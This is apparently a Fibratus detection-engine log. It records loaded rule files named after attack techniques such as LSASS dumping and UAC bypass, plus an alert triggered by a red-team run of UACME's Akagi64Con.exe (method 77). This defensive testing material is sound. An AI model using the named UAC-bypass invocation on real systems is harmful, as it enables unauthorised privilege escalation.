source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:07:59+01:00 level=info msg=bootstrapping with pid 4404. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:07:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false stack-enrichment=>true enable-audit-api=>true buffer-size=>512 min-buffers=>16 flush-interval=>1s enable-fileio=>true enable-dns=>false enable-thread=>true enable-mem=>false enable-registry=>true enable-net=>true max-buffers=>36 enable-handle=>false enable-image=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ http=>[ serializer=>json method=>POST timeout=>5s enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] amqp=>[ passive=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/] elasticsearch=>[ enabled=>false gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck=>true sniff=>false timeout=>5s template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false excluded-procs=>[] fastscan=>true enabled=>false skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:08:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:08:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:08:22+01:00 level=info msg=sending alert: [Potential privilege escalation via elevated IFileOperation COM interface]. Text: Event(s): + Seq: 12374262 + Pid: 7436 + Tid: 3004 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:08:12.3861724 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffff978f7a890a20, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffff978f6ec5b608, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 3004, type➜ File + Metadata: rule.name: Potential privilege escalation via elevated IFileOperation COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\wbem\ATL + + Pid: 7436 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + + Seq: 12386477 + Pid: 9856 + Tid: 12524 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:08:12.8298742 +0100 CET + Params: base_address➜ 7ffcd5080000, checksum➜ 38076, default_address➜ 7ffcd5080000, file_path➜ C:\Windows\System32\wbem\ATL.dll, image_size➜ 53248, pid➜ 9856, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via elevated IFileOperation COM interface, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9856 + Ppid: 1972 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" WmiMgmt.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 77 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" WmiMgmt.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T16:08:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:08:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:08:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:09:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:09:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 